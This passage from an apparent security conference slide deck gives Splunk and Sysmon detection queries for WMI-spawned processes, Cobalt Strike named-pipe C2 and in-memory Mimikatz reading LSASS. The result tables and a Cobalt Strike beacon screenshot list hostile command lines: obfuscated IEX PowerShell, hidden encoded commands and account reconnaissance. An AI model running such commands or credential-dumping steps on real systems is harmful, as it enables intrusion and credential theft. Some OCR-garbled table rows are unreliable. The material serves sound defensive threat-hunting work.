proto_info.rpc_interface == "IRemUnknown2")

remote_wmi_process = join wmi_children, wmi_flow where (
    wmi_flow.time < wmi_children.time < wmi_flow.time + 1sec and
    wmi_flow.hostname == wmi_children.hostname
)

output remote_wmi_process
```

Detecting WMI spawned proc's

- * Searching for Child-Process creations of «**wmiprvse.exe**»
- * Filtering out «known good» processes

```
index=... SourceName="Microsoft-Windows-Sysmon" ProcessCreate wmiprvse.exe  
| search EventCode="1" ParentImage="*\wmiprvse.exe"  
    NOT (Image="*\powershell.exe"  
        CommandLine="*\Windows\CCM\*" OR CommandLine="*\Microsoft Application Virtualization\*" OR  
        CommandLine="*DynamicDeploymentConfiguration*" OR CommandLine="*\*")  
    NOT (Image="*\Microsoft.NET\Framework\*" CommandLine="*\*")  
    Image!="*\*\*\" Image!="*\WerFault.exe" NOT [REDACTED] NOT powercfg.exe NOT msieexec.exe NOT [REDACTED]  
    NOT [REDACTED] NOT sidebar.exe NOT csc.exe NOT cvtres.exe NOT attrib.exe  
    CommandLine!="*\*\*\"  
    CommandLine!="*cmd.exe /c copy *" CommandLine!="*\*\*\" CommandLine!="*\Adobe\*" CommandLine!="*\*\*\*\"  
    CommandLine!="*\Windows\ccm\*" CommandLine!="*\Windows\MS\*" CommandLine!="*\Windows\Installer\*"  
| rex field=Message ".*User: ([REDACTED]|NT AUTHORITY)\*\*(?<USER1>,*)"  
| stats values(ComputerName) AS Clients values(USER1) AS Users values(CommandLine) AS CmdLines count by Image
```

- * **Don't** filter out «**Powershell.exe**» in general
 - Combine with «**CommandLine**» params

Detecting WMI spawned proc's

- * Command executions («powershell *\$env:*» and IEX, obfusc.)
 - * Processes started (calc.exe, notepad.exe ...)

Image	Clients	Users
C:\Windows\System32\PING.EXE		
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		
C:\Windows\System32\calc.exe		
C:\Windows\System32\cmd.exe		
C:\Windows\System32\notepad.exe		
C:\Windows\System32\whoami.exe		
	CmdLines	
	ping -n 3	
	powershell \$env:59HYpjInv`oke-Ex`pression	
	powershell \$env:hpMgz IE`X	
	powershell .(Get-C`ommand ('{1}e{0}`-f{x','i'}) \$env:dswQF	
	powershell IE`X \$env:Q6JS9	
	powershell IE`X \$env:wDBaP	
	powershell.exe -nop -w hidden -encodedcommand	
	JABzAD0ATgBlAHcALQBPAGIAagBlAGMAAdAAgAEkATwA	
	powershell.exe -nop -w hidden -encodedcommand	
	JABzAD0ATgBlAHcALQBPAGIAagBlAGMAAdAAgAEkATwA	
	calc.exe	
	cmd /c hostname	
	cmd /c net user	
	notepad.exe	
	whoami	

Detecting WMI spawned proc's

- * Also detecting CS Beacons WMI Lateral Movement method
 - «powershell.exe ... -encodedcommand ...»

The screenshot shows a Windows desktop environment with a taskbar at the top. On the taskbar, there are icons for 'Image' (File Explorer), 'Clients' (Windows Firewall), 'Users' (User Accounts), 'C:\Windows\System32\PING.EXE', and 'CmdLines' (Windows Task Manager). Below the taskbar, a terminal window displays the following text:

```
beacon> wmi
[*] Tasked beacon to run windows/beacon_smb/bind_pipe (\\\pipe\APT999_4444) on [REDACTED] via WMI
[+] host called home, sent: 210806 bytes
[+] established link to child beacon: [REDACTED]
[+] received output:
```

On the left side of the terminal window, there is a list of processes:

- C:\Windows\System32\calc.exe
- C:\Windows\System32\cmd.exe
- C:\Windows\System32\notepad.exe
- C:\Windows\System32\whoami.exe

On the right side of the terminal window, there is a list of commands or outputs:

- powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBIAHcALQBPAGIAagBIAGMAdAAgAEkATwA
- powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBIAHcALQBPAGIAagBIAGMAdAAgAEkATwA
- calc.exe
- cmd /c hostname
- cmd /c net user
- notepad.exe
- whoami

Internal P2P C2 using Named Pipes

- * Internal Peer-to-Peer C&C using Named Pipes over SMB
- * Using Cobalt Strike Beacon's features for testing

Cobalt Strike Features

Only one egress point
using HTTP as C&C
Conn thru web proxy



192.168.1.95

SMB traffic
between WS
Named Pipes C&C



whatta.hogg
WS2 @ 424



whatta.hogg *
WS2 @ 224



SYSTEM *
JOSHDEV @ 1728



SYSTEM *
CEOSBOX @ 3344



DISCONNECTED
SYSTEM *
FILESERVER @ 91



DISCONNECTED
SYSTEM *
JOSHDEV @ 120



Figure 12. Cobalt Strike Graph View

An orange arrow connecting one Beacon session to another represents a link between two Beacons. Cobalt Strike's Beacon uses Windows named pipes to control Beacons in this peer-to-peer fashion. A named pipe is an inter-process communication mechanism on Windows. Named pipe traffic that goes host-to-host is encapsulated within the SMB protocol. A red arrow indicates that a Beacon link is broken.

Detecting C2 using Named Pipes

* Search for Processes

- Connecting through Web Proxy and
- Creating Named Pipes

```
index= sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"
(ProcessCreate OR (NetworkConnect 3128 (Proxy IPs))) OR (PipeEvent "Pipe Created"))

whitelisting vetted good processes

| search EventCode=1 OR EventCode=17 OR
(EventCode=3 DestinationPort="3128" (DestinationIp="Proxy IPs"))
| stats dc(TaskCategory) AS Cnt_TaskCat dc(EventCode) AS Cnt_EventCode values(TaskCategory) AS TaskCategory
values(Image) AS Image values(Hashes) AS Hashes values(PipeName) AS PipeName values(DestinationIp) AS DestinationIp
count by ComputerName ProcessGuid
| where Cnt_TaskCat >= 2 OR Cnt_EventCode >= 2
| rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*),IMPHASH=(?<IMPHASH>[A-F0-9]*)"
| stats values(ComputerName) AS Clients values(Image) AS Image values(MD5) AS MD5 values(PipeName) AS PipeName
count by IMPHASH
| search PipeName="\\\"
```

Detecting C2 using Named Pipes

IMPHASH	Image	MD5	PipeName	count
17B461A082950FC6332	[REDACTED]\http-beacon_windows-exe_x64.exe	D72EE57E927A99ED35C71	<Anonymous Pipe>	1
802D2D6E6B33155B1DE	[REDACTED]\http-beacon_windows-service-exe_x64.exe	EE00A12DE45B2E4D5FDF	\MSSE-583-server	1
DC25EE78E2EF4D36FA	[REDACTED]\http-beacon_windows-exe_x86.exe	53D8AF6E6F6700C785B05	\MSSE-8000-server	1
E472BEC38EB2092220C	\\\127.0.0.1\ADMIN\$\1949a70.exe \\\127.0.0.1\ADMIN\$\29ba879.exe \\\127.0.0.1\ADMIN\$\3bc0d5c.exe \\\127.0.0.1\CS\298a94a.exe \\\127.0.0.1\CS\380ab42.exe	35F51F4A73E1C0E110928 416D0B7A91EF8A754F550 AC9C5482454E4E1B77250 C01B696001C7E1AD765B6 E8D9825D205E1AD8E216	<Anonymous Pipe> \MSSE-2426-server \MSSE-5324-server \MSSE-7891-server \MSSE-8355-server \MSSE-8798-server	5
EF8A44FE2F9AD4AB85	C:\Windows\SysWOW64\rundll32.exe	51138BEEA3E2C21EC44D1	<Anonymous Pipe> \APT666_8362 \APT999_4444 \APT999_7777 \msagent_8362 \status_4444	6
F8F47A970BADB255F82	C:\Windows\System32\rundll32.exe	DD81D91FF3B0763C39242	<Anonymous Pipe> \3c6a96b995 \4d1ab2c03a \b590c983b8 \deb9acbe3d	5
FCDD5E915D9C361A1F0	C:\Windows\System32\notepad.exe C:\Windows\system32\notepad.exe	B32189BDFF6E577A92BA	<Anonymous Pipe> \00d23318a7 \0321aa6142 \10202051 \1058cd7e \2a33e2a19 \411e801033 \45346d727	7

Detecting C2 using Named Pipes

IMPHASH	Image	MD5	PipeName	count
17B461A082950FC6332	[REDACTED]http-beacon_windows-exe_x64.exe	D72EE57E927A99ED35C7	<Anonymous Pipe>	1
802	Image		PipeName	
DC2	[REDACTED]			
E47	[REDACTED]http-beacon_windows-exe_x64.exe		<Anonymous Pipe>	
EF8	[REDACTED]http-beacon_windows-service-exe_x64.exe		\MSSE-583-server	
	[REDACTED]http-beacon_windows-exe_x86.exe		\MSSE-8000-server	
F8F47A970BADB5552	C:\Windows\SysWOW64\rundll32.exe		<Anonymous Pipe>	5
	[REDACTED]		\APT666_8362	
			\APT999_4444	
			\APT999_7777	
			\msagent_8362	
			\status_4444	
FCDD5E915D9C36			Pipe>	7
			\411e801033	
			\45346d727	

Detecting C2 using Named Pipes

- * Search for Processes creating «known malicious» Named Pipes
 - with or without «default PipeNames»

```
index=[ ] sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"
  (PipeEvent "Pipe Created" (APT666 OR APT999))
| search (EventCode=17
  (PipeName="\\APT666*" OR PipeName="\\APT999*"))
| stats values(Image) AS Images values(PipeName) AS PipeNames
  count by TaskCategory ComputerName
```

```
index=[ ] sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"
  (PipeEvent "Pipe Created" (APT666 OR APT999 OR msagent OR status OR MSSE))
| search (EventCode=17
  (PipeName="\\APT666*" OR PipeName="\\APT999*" OR
   PipeName="\\MSSE-*server*" OR PipeName="\\msagent_*" OR PipeName="\\status_*"))
| stats values(Image) AS Images values(PipeName) AS PipeNames
  count by TaskCategory ComputerName
```

Detecting C2 using Named Pipes

- * Searching for «custom PipeNames» only

TaskCategory	ComputerName
Pipe Created (rule: PipeEvent)	[REDACTED]
Pipe Created (rule: PipeEvent)	[REDACTED]

Images	PipeNames	count
C:\Windows\SysWOW64\rundll32.exe	\APT666_8362 \APT999_4444 \APT999_7777	6
C:\Windows\SysWOW64\rundll32.exe	\APT666_8362 \APT999_4444	2

Detecting C2 using Named Pipes

- * Searching for «default & custom PipeNames»

TaskCategory	ComputerName	Images	PipeNames	count
Pipe Created (rule: PipeEvent)	[REDACTED]	C:\Windows\SysWOW64\rundll32.exe \127.0.0.1\ADMIN\\$1949a70.exe \127.0.0.1\ADMIN\\$3bc0d5c.exe \127.0.0.1\C\$\298a94a.exe	\APT666_8362 \APT999_4444 \APT999_7777 \MSSE-2426-server \MSSE-5324-server \MSSE-8355-server	9
Pipe Created (rule: PipeEvent)	[REDACTED]	C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChromePortable.exe C:\Windows\SysWOW64\rundll32.exe \127.0.0.1\ADMIN\\$29ba879.exe \127.0.0.1\C\$\380ab42.exe	\APT666_8362 \APT999_4444 \MSSE-6684-server \MSSE-7891-server \MSSE-8798-server \msagent_8362 \status_4444	7
Pipe Created (rule: PipeEvent)	[REDACTED]	C:\[REDACTED]\http-beacon_windows-exe_x64.exe C:\[REDACTED]\http-beacon_windows-exe_x86.exe C:\[REDACTED]\http-beacon_windows-service-exe_x64.exe C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChromePortable.exe	\MSSE-107-server \MSSE-192-server \MSSE-583-server \MSSE-8000-server	4

Detecting C2 using Named Pipes

- * Searching for «default & custom PipeNames»

TaskCategory	ComputerName	Images	PipeNames	count
Pipe Created (rule: PipeEvent)	[REDACTED]	C:\Windows\SysWOW64\rundll32.exe \127.0.0.1\ADMIN\$\1949a70.exe \127.0.0.1\ADMIN\$\3bc0d5c.exe	\APT666_8362 \APT999_4444 \APT999_7777 \MSSE-2426-server \MSSE-5324-server \MSSE-8355-server	9
		C:\Windows\SysWOW64\rundll32.exe \127.0.0.1\ADMIN\$\1949a70.exe \127.0.0.1\ADMIN\$\3bc0d5c.exe \127.0.0.1\CS\298a94a.exe	\APT666_8362 \APT999_4444 \APT999_7777 \MSSE-2426-server \MSSE-5324-server \MSSE-8355-server	9
		C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChromePortable.exe C:\Windows\SysWOW64\rundll32.exe \127.0.0.1\ADMIN\$\29ba879.exe \127.0.0.1\CS\380ab42.exe	\APT666_8362 \APT999_4444 \MSSE-6684-server \MSSE-7891-server \MSSE-8798-server \msagent_8362 \status_4444	7
		C:\[REDACTED]\http-beacon_windows-exe_x64.exe C:\[REDACTED]\http-beacon_windows-exe_x86.exe C:\[REDACTED]\http-beacon_windows-service-exe_x64.exe C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChromePortable.exe	\MSSE-107-server \MSSE-192-server \MSSE-583-server \MSSE-8000-server	4

Detecting Mimikatz (even file-less)

- * Detecting ProcessAccess on LSASS.exe
- * Idea by Mark Russinovich (RSA talk)

Detecting Mimikatz

Cyber Wardog Lab

by Roberto Rodriguez

Home

Wednesday, March 22, 2017

Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part II (Event ID 10)



Detecting Mimikatz

Cyber Warden Lab

What happened with this?

by Robe

Home

Wednesday

Chroni
and El

The screenshot shows a tweet from Mark Russinovich (@markrussinovich) on Wednesday. The tweet contains a screenshot of a Windows event viewer window showing a process access event from Mimikatz. The event details are as follows:

General	Details
Process accessed:	
UtcTime:	2017-02-13 04:27:33.700
SourceProcessGUID:	{089f23d9-35b2-58a1-0000-001005c7b900}
SourceProcessId:	2220
SourceThreadId:	4904
SourceImage:	C:\demo\mimikatz.exe
TargetProcessGUID:	{889f23d9-e575-58a0-0000-0010c64f0000}
TargetProcessId:	544
TargetImage:	C:\Windows\system32\lsass.exe
GrantedAccess:	0x1410
CallTrace:	C:\Windows\SYSTEM32\ntdll.dll+a5594 C:\Windows\system32\KERNELBASE.dll+1e865 C:\demo\mimikatz.exe+565e2 C:\demo\mimikatz.exe+5694d C:\demo\mimikatz.exe+66521 C:\demo\mimikatz.exe+49da8 C:\demo\mimikatz.exe+40bc7 C:\demo\mimikatz.exe+409d1 C:\demo\mimikatz.exe+5bc45 C:\Windows\system32\KERNEL32.DLL+18102 C:\Windows\SYSTEM32\ntdll.dll+5c5b4

Figure 15. Outdated Mimikatz Version

Detecting Mimikatz

Cyber Warden Lab

What happened with this?

by Robe



Mark Russinovich

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and EI

Final Thoughts

Once again, even though this is just part II of detecting In-memory Mimikatz, we are already coming up with another good indicator to reduce the number of false positives when hunting for it.

Based on our test today, we can say that if we want to detect the latest version of Mimikatz from a **ProcessAccess** event perspective, we should look for:

GrantedAccess: 0x1010

Now, if we still want to detect the current **Invoke-Mimikatz** versions used in projects such as PowerSploit and PowerShell Empire. We should also look for:

GrantedAccess: 0x1410

However, when looking for **0x1410**, there is a little bit more of tuning that needs to happen to filter all the noise. You will have to add extra exclusion rules to your Sysmon config. Also, I would suggest to look at the pattern of the **Trace Call field (Stack)** in your Sysmon EID 10 logs. As you can see in figure 23 below, In-Memory Mimikatz always has the same **CallTrace** pattern. Remember that Sysmon only shows the module used and the offset addresses. However, you can use either Process Monitor or Process Explorer to configure a public Microsoft Symbol Server and show you a better call stack with all the function names. You can learn how [here](#). This Call Trace pattern could be useful with the right Regex to filter out all the noise (having some issues with Lucene regex in kibana).

Detecting Mimikatz

* Search for ProcessAccess of LSASS.exe

- GrantedAccess of: **0x1010, 0x1410, 0x143A**
- CallTrace: **KERNELBASE.dll and (ntdll.dll or UNKNOWN)**

```
index= sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessAccess lsass.exe
| search TargetImage="*\lsass.exe"
((GrantedAccess="0x1010" OR GrantedAccess="0x1410" OR GrantedAccess="0x143a")
 (CallTrace="*\KERNELBASE.dll*" CallTrace="*UNKNOWN*" ) OR
 (CallTrace="*\ntdll.dll+4bf9a*" CallTrace="*\KERNELBASE.dll+189b7*"))
CallTrace!="*\fbp.tmp*" CallTrace!="*\Win64RunProcesses.dll*" CallTrace!="*\System.ni.dll*" CallTrace!="*\msi.dll*"
CallTrace!="*"
CallTrace!="*"
CallTrace!="*"
| rex field=CallTrace ".*\\\\ntdll.dll\+(?<NTDLL>[0-9a-fA-F]*)\|.*"
| rex field=CallTrace ".*\\\\KERNELBASE.dll\+(?<KRNLB>[0-9a-fA-F]*)[\\|\\(.)*"
| eval CallTrace2 = replace(CallTrace, "\\|", " ") | eval CTLen = len(CallTrace)
| where CTLen > 90
| rename SourceProcessId as srcPID | rename GrantedAccess as GrantAcc
| table _time ComputerName SourceProcessGUID srcPID SourceImage TargetImage GrantAcc NTDLL KRNLB CTLen CallTrace2
| sort _time
```

Detecting Mimikatz

- * Mimikatz executable from Github
 - File-based → No «UNKNOWN» from shellcode / injection

_time	ComputerName	SourceProcessGUID	srcPID	SourceImage	
2017-03-10 16:19:36	[REDACTED]	{470B9880-C408-58C2-0000-0010E3F44529}	720	C:\[REDACTED]\mimikatz_trunk\x64\mimikatz.exe	
TargetImage	GrantAcc	NTDLL	KRNLB	CTLen	CallTrace2
C:\Windows\system32\lsass.exe	0x1010	4bf9a	189b7	536	<pre>C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\SYSTEM32\KERNELBASE.dll+189b7 C:\Windows\SYSTEM32\user32.dll+66918 C:\Windows\SYSTEM32\user32.dll+66c85 C:\Windows\SYSTEM32\user32.dll+6683d C:\Windows\SYSTEM32\user32.dll+49dac C:\Windows\SYSTEM32\user32.dll+49beb C:\Windows\SYSTEM32\user32.dll+49943 C:\Windows\SYSTEM32\user32.dll+6bf85 C:\Windows\SYSTEM32\kernel32.dll+159cd C:\Windows\SYSTEM32\ntdll.dll+2a561</pre>

Detecting Mimikatz

- * Cobalt Strike Beacon's built-in Mimikatz «logonpasswords»
 - File-less → «UNKNOWN» from shellcode / injection

_time	ComputerName	SourceProcessGUID	srcPID	SourceImage	
2017-03-08 14:13:07	[REDACTED]	{470B9880-0363-58C0-0000-0010B8D7D210}	8788	C:\Windows\system32\rundll32.exe	
TargetImage	GrantAcc	NTDLL	KRNLB	CTLen	CallTrace2
C:\Windows\system32\lsass.exe	0x1410	4bf9a	189b7	102	C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\system32\KERNELBASE.dll+189b7 UNKNOWN(0000000000277120)
C:\Windows\system32\lsass.exe	0x1410	4bf9a	189b7	102	C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\system32\KERNELBASE.dll+189b7 UNKNOWN(0000000000407120)

Detecting Mimikatz

- * Invoke-Mimikatz using PowerPick from Cobalt Strike's Beacon
 - File-less → «UNKNOWN» from shellcode / injection

_time	ComputerName	SourceProcessGUID	srcPID	SourceImage	
2017-03-08 13:25:23	[REDACTED]	{3E4B9DDF-F81A-58BF-0000-001003659552}	22832	C:\Windows\System32\rundll32.exe	
TargetImage	GrantAcc	NTDLL	KRNLB	CTLen	CallTrace2
C:\Windows\system32\lsass.exe	0x143a	4bf9a	189b7	102	C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\system32\KERNELBASE.dll+189b7 UNKNOWN(000000001AD51628)
C:\Windows\system32\lsass.exe	0x143a	4bf9a	189b7	102	C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\system32\KERNELBASE.dll+189b7 UNKNOWN(000000001A631628)

Detecting Mimikatz

- * Don't search for specific SourceImage names
 - e.g. Rundll32.exe -- it could be really anything! (even cmd.exe ☺)

Event 10, Sysmon

General	Details
	<p>Process accessed: UtcTime: 2017-03-29 15:59:45.780 SourceProcessGUID: {470b9880-d9f1-58db-0000-00100ce5730a} SourceProcessId: 8772 SourceThreadId: 8009 SourceImage: C:\Windows\system32\cmd.exe</p> <p>TargetProcessGUID: {470b9880-7e57-58da-0000-0010215e0100} TargetProcessId: 772 TargetImage: C:\Windows\system32\sass.exe GrantedAccess: 0x1010 CallTrace: C:\Windows\SYSTEM32\ntdll.dll+4bf9a C:\Windows\system32\KERNELBASE.dll+189b7 U</p>

Detecting Mimikatz (OpenProcess)

 Secure <https://blog.3or.de/hunting-mimikatz-with-sysmon-monitoring-openprocess.html>

SA 29 APRIL 2017

Hunting mimikatz with sysmon: monitoring OpenProcess()

Kategorien: «Threat Hunting» Ersteller: dimi




Dimitrios Slamaris
dim0x69

Update: Since this post is getting some international attention I want to use the chance: If you are into Threat Hunting and interested in collaboration: Contact me and consider working on the ThreatHunter-Playbook! :) /Update

The art of hunting mimikatz with sysmons EventID 10 got already published by [@cyb3rward0g](#) in his great blog: [Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part II \(Event 10\)](#). I will shortly set up a ThreatHunter Playbook which is a great collection of WMI queries to hunt intruders in your network. I will shortly set up a playbook, maybe my findings are interesting for the community.

From there I today invested some time to analyze mimikatz OpenProcess() and therefore some more indicators to hunt first created a caller graph for OpenProcess() using the who



Detecting Mimikatz (OpenProcess)

 Secure <https://blog.3or.de/hunting-mimikatz-with-sysmon-monitoring-openprocess.html>

SA 29 APRIL 2017

Hunting mimikatz with sysmon: monitoring OpenProcess()

Kategorien: «Threat Hunting» Ersteller: dimi



Update: Since this post is getting some international attention I want to use the chance: If you are into Threat Hunting and interested in collaboration: Contact me and

module	OpenProcess caller function	destination process / destination service	ACCESS_MASK	ACCESS_MASK translated
Isadump::Isa /patch	kuhl_m_Isadump_Isa_getHandle()	SamSs	PROCESS_VM_READ PROCESS_VM_WRITE PROCESS_VM_OPERATION PROCESS_QUERY_INFORMATION	0x1438
Isadump::Isa /inject	kuhl_m_Isadump_Isa_getHandle()	SamSs	PROCESS_VM_READ PROCESS_VM_WRITE PROCESS_VM_OPERATION PROCESS_QUERY_INFORMATION PROCESS_CREATE_THREAD	0x143a
Isadump::trust /patch	kuhl_m_Isadump_Isa_getHandle()	SamSs	PROCESS_VM_READ PROCESS_VM_WRITE PROCESS_VM_OPERATION PROCESS_QUERY_INFORMATION	0x1438
notelersc:sim	kuhl_m_Isadump_Isa_getHandle()	exe:session	PROCESS_INFORMATION PROCESS_VM_OPERATION PROCESS_VM_WRITE PROCESS_VM_READ PROCESS_CREATE_THREAD PROCESS_SET_INFORMATION PROCESS_SUSPEND_RESUME	8E41X0
assmewm:sim	kuhl_m_Isadump_Isa_getHandle()	exe:session	PROCESS_INFORMATION PROCESS_VM_OPERATION PROCESS_VM_WRITE PROCESS_VM_READ PROCESS_CREATE_THREAD PROCESS_SET_INFORMATION PROCESS_SUSPEND_RESUME	8E41X0

I have some questions...

- * Please stand up...
- * Sit down if you...
 - didn't learn anything new (resources, examples)
 - detect internal C&C using Named Pipes over SMB
 - detect in-memory / file-less Mimikatz on (all of) your hosts
 - Bonus: all versions of Mimikatz?
- * Everyone sitting now I would like to have a chat 😊

Do you have questions?

- * Is there time left for Q&A?



Thank you for your attention!

Tom Ueltschi, Swiss Post CERT